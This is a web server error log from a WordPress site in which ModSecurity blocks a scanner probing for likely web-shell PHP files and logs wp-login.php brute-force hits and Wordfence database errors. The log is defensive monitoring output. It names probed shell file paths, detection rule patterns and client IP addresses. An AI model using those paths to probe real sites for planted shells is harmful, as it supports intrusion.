[Wed Jan 21 04:34:56.457526 2026] [:error] [pid 59863:tid 59881] [client 4.194.217.214:10029] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aW_m8LHQ1zVZ4yLuI-zCnwAAAQ4"]
[Wed Jan 21 04:34:56.633110 2026] [:error] [pid 21456:tid 21531] [client 4.194.217.214:10098] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aW_m8AKyVQ9Ob2YxRAp2sgAAAI0"]
[Wed Jan 21 04:34:56.819228 2026] [:error] [pid 21456:tid 21541] [client 4.194.217.214:9997] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aW_m8AKyVQ9Ob2YxRAp2swAAAJc"]
[Wed Jan 21 04:34:56.993809 2026] [:error] [pid 59863:tid 59884] [client 4.194.217.214:9998] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aW_m8LHQ1zVZ4yLuI-zCoQAAARE"]
[Wed Jan 21 04:34:57.175035 2026] [:error] [pid 21456:tid 21519] [client 4.194.217.214:10023] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aW_m8QKyVQ9Ob2YxRAp2tAAAAIE"]
[Wed Jan 21 04:34:57.352642 2026] [:error] [pid 59863:tid 59888] [client 4.194.217.214:9928] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aW_m8bHQ1zVZ4yLuI-zCogAAARU"]
[Wed Jan 21 04:34:57.526948 2026] [:error] [pid 21563:tid 21572] [client 4.194.217.214:10069] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aW_m8RZq__dTorabEoyHggAAAMc"]
[Wed Jan 21 04:34:57.701865 2026] [:error] [pid 59863:tid 59880] [client 4.194.217.214:10019] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aW_m8bHQ1zVZ4yLuI-zCpAAAAQ0"]
[Wed Jan 21 04:34:57.886334 2026] [:error] [pid 21563:tid 21587] [client 4.194.217.214:10013] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aW_m8RZq__dTorabEoyHgwAAANY"]
[Wed Jan 21 04:34:58.060812 2026] [:error] [pid 59863:tid 59879] [client 4.194.217.214:9995] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aW_m8rHQ1zVZ4yLuI-zCpQAAAQw"]
[Wed Jan 21 04:34:58.234452 2026] [:error] [pid 59863:tid 59872] [client 4.194.217.214:10010] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aW_m8rHQ1zVZ4yLuI-zCpwAAAQU"]
[Wed Jan 21 04:34:58.428670 2026] [:error] [pid 21455:tid 21504] [client 4.194.217.214:9932] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aW_m8opOKALCSo1URZE3TwAAAE0"]
[Wed Jan 21 04:34:58.603047 2026] [:error] [pid 21563:tid 21574] [client 4.194.217.214:9943] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aW_m8hZq__dTorabEoyHhQAAAMk"]
[Wed Jan 21 04:34:58.777258 2026] [:error] [pid 21455:tid 21495] [client 4.194.217.214:10021] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aW_m8opOKALCSo1URZE3UAAAAEQ"]
[Wed Jan 21 04:34:58.955222 2026] [:error] [pid 21563:tid 21585] [client 4.194.217.214:10072] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aW_m8hZq__dTorabEoyHhgAAANQ"]
[Wed Jan 21 04:34:59.129927 2026] [:error] [pid 21454:tid 21484] [client 4.194.217.214:10027] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aW_m8zwp5UZmMFzY2bpN4AAAABQ"]
[Wed Jan 21 04:34:59.317670 2026] [:error] [pid 21563:tid 21567] [client 4.194.217.214:9985] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aW_m8xZq__dTorabEoyHiQAAAMI"]
[Wed Jan 21 04:34:59.497794 2026] [:error] [pid 21563:tid 21571] [client 4.194.217.214:10111] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aW_m8xZq__dTorabEoyHigAAAMY"]
[Wed Jan 21 04:34:59.671915 2026] [:error] [pid 59863:tid 59875] [client 4.194.217.214:10035] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aW_m87HQ1zVZ4yLuI-zCqAAAAQg"]
[Wed Jan 21 04:34:59.846026 2026] [:error] [pid 59863:tid 59890] [client 4.194.217.214:10165] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aW_m87HQ1zVZ4yLuI-zCqQAAARc"]
[Wed Jan 21 04:35:00.021876 2026] [:error] [pid 59863:tid 59870] [client 4.194.217.214:9968] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aW_m9LHQ1zVZ4yLuI-zCqgAAAQM"]
[Wed Jan 21 04:35:00.206387 2026] [:error] [pid 21563:tid 21588] [client 4.194.217.214:9984] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aW_m9BZq__dTorabEoyHjQAAANc"]
[Wed Jan 21 04:35:00.381590 2026] [:error] [pid 59863:tid 59882] [client 4.194.217.214:10165] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin836.php"] [unique_id "aW_m9LHQ1zVZ4yLuI-zCrAAAAQ8"]
[Wed Jan 21 04:35:00.568320 2026] [:error] [pid 59863:tid 59883] [client 4.194.217.214:10061] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin836.php"] [unique_id "aW_m9LHQ1zVZ4yLuI-zCrQAAARA"]
[Wed Jan 21 04:35:00.742583 2026] [:error] [pid 59863:tid 59889] [client 4.194.217.214:9955] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin836.php"] [unique_id "aW_m9LHQ1zVZ4yLuI-zCrgAAARY"]
[Wed Jan 21 04:35:00.917196 2026] [:error] [pid 59863:tid 59868] [client 4.194.217.214:9954] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin836.php"] [unique_id "aW_m9LHQ1zVZ4yLuI-zCrwAAAQE"]
[Wed Jan 21 04:35:01.091346 2026] [:error] [pid 21455:tid 21502] [client 4.194.217.214:10068] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aW_m9YpOKALCSo1URZE3UQAAAEs"]
[Wed Jan 21 04:35:01.265048 2026] [:error] [pid 21563:tid 21573] [client 4.194.217.214:9927] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aW_m9RZq__dTorabEoyHjgAAAMg"]
[Wed Jan 21 04:35:01.461370 2026] [:error] [pid 21455:tid 21506] [client 4.194.217.214:9953] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aW_m9YpOKALCSo1URZE3UgAAAE8"]
[Wed Jan 21 04:35:01.636014 2026] [:error] [pid 21455:tid 21500] [client 4.194.217.214:10032] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aW_m9YpOKALCSo1URZE3UwAAAEk"]
[Wed Jan 21 04:35:01.810258 2026] [:error] [pid 21563:tid 21586] [client 4.194.217.214:9960] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aW_m9RZq__dTorabEoyHkQAAANU"]
[Wed Jan 21 04:35:02.004888 2026] [:error] [pid 21563:tid 21568] [client 4.194.217.214:10044] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aW_m9hZq__dTorabEoyHkgAAAMM"]
[Wed Jan 21 04:35:02.189423 2026] [:error] [pid 21456:tid 21527] [client 4.194.217.214:9948] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aW_m9gKyVQ9Ob2YxRAp2tgAAAIk"]
[Wed Jan 21 04:35:02.374822 2026] [:error] [pid 21454:tid 21477] [client 4.194.217.214:10062] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aW_m9jwp5UZmMFzY2bpN4wAAAA0"]
[Wed Jan 21 05:37:56.273946 2026] [:error] [pid 21563:tid 21576] [client 4.197.162.185:27976] [client 4.197.162.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aW_1tBZq__dTorabEoybCAAAAMs"]
[Wed Jan 21 05:37:56.345589 2026] [:error] [pid 21454:tid 21469] [client 4.197.162.185:30487] [client 4.197.162.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aW_1tDwp5UZmMFzY2bpaAwAAAAU"]
[Wed Jan 21 05:37:56.414960 2026] [:error] [pid 21455:tid 21499] [client 4.197.162.185:34492] [client 4.197.162.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aW_1tIpOKALCSo1URZFGKwAAAEg"]
[Wed Jan 21 05:37:56.480208 2026] [:error] [pid 21455:tid 21501] [client 4.197.162.185:36697] [client 4.197.162.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aW_1tIpOKALCSo1URZFGLAAAAEo"]
[Wed Jan 21 05:49:35.912884 2026] [:error] [pid 21563:tid 21565] [client 20.218.128.24:59394] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.218.128.24, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aW_4bxZq__dTorabEoydGAAAAMA"]
[Wed Jan 21 06:08:05.692963 2026] [:error] [pid 21456:tid 21528] [client 43.134.141.244:41088] [client 43.134.141.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aW_8xQKyVQ9Ob2YxRAqOlwAAAIo"]
[Wed Jan 21 10:10:41.444272 2026] [:error] [pid 21456:tid 21518] [client 157.245.42.243:59170] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.42.243, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXA1oQKyVQ9Ob2YxRArMnQAAAIA"]
[Wed Jan 21 11:19:09.883487 2026] [:error] [pid 56352:tid 56367] [client 164.132.49.123:38234] [client 164.132.49.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.49.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBFrdWN6wYNPTU3efWgpwAAAU0"]
[Wed Jan 21 12:21:37.309809 2026] [proxy_fcgi:error] [pid 21456:tid 21535] [client 103.4.122.14:54912] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/updraftplus/includes/handlebars/handlebars.js', 'code.google.com', '', '\x8b\xc1\x85j'),('wp-content/plugins/updraftplus/includes/handlebars/handlebars.js', 'handlebarsjs.com', '', '\x19 @0'),('wp-content/plugins/updraftplus/includes/handlebars/handlebars.js', 'mathiasbynens.be', '', '\xf3xv\xbb') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWritePHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/updraftplus/vendor/rackspace/php-opencloud/lib/OpenCloud/ObjectStore/Upload/ConcurrentTransfer.php', 'www.apache.org', '', '\xa6i\xdc:') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWritePHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/elementor-pro/assets/lib/html2canvas/js/html2canvas.min.js', 'html2canvas.hertzen.com', '', '\xf1sW\x04'),('wp-content/plugins/elementor-pro/assets/lib/html2canvas/js/html2canvas.min.js', 'hertzen.com', '', '?\x8f>\xf5'),('wp-content/plugins/elementor-pro/assets/lib/html2canvas/js/html2canvas.min.js', 'www.apache.org', '', '\xa6i\xdc:'),('wp-content/plugins/elementor-pro/assets/lib/html2canvas/js/html2canvas.min.js', 'www.w3.org', '', '\\Z.6\xcc') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWritePHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/updraftplus/vendor/rackspace/php-opencloud/lib/OpenCloud/Common/Exceptions/NetworkError.php', 'www.apache.org', '', '\xa6i\xdc:') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWritePHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfhoover (owner, host, path, hostKey) VALUES ('wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/symfony/polyfill-mbstring/Resources/unidata/titleCaseRegexp.php', 'unicode.org', '', 'z\x0c\x88U') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wordfenceURLHoover->hoover, wordfenceURLHoover->writeHosts, wfDB->queryWrite'
[Wed Jan 21 12:23:16.526681 2026] [:error] [pid 21563:tid 21569] [client 64.226.76.188:63821] [client 64.226.76.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.76.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBUtBZq__dTorabEowPIAAAAMQ"]
[Wed Jan 21 12:23:19.144143 2026] [:error] [pid 56352:tid 56375] [client 64.226.76.188:64079] [client 64.226.76.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.76.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXBUt9WN6wYNPTU3efWsSgAAAVU"]
[Wed Jan 21 12:25:49.335732 2026] [proxy_fcgi:error] [pid 21563:tid 21570] [client 103.4.122.14:55856] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
[Wed Jan 21 12:30:38.404036 2026] [proxy_fcgi:error] [pid 21455:tid 21507] [client 103.4.122.14:56986] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::set'
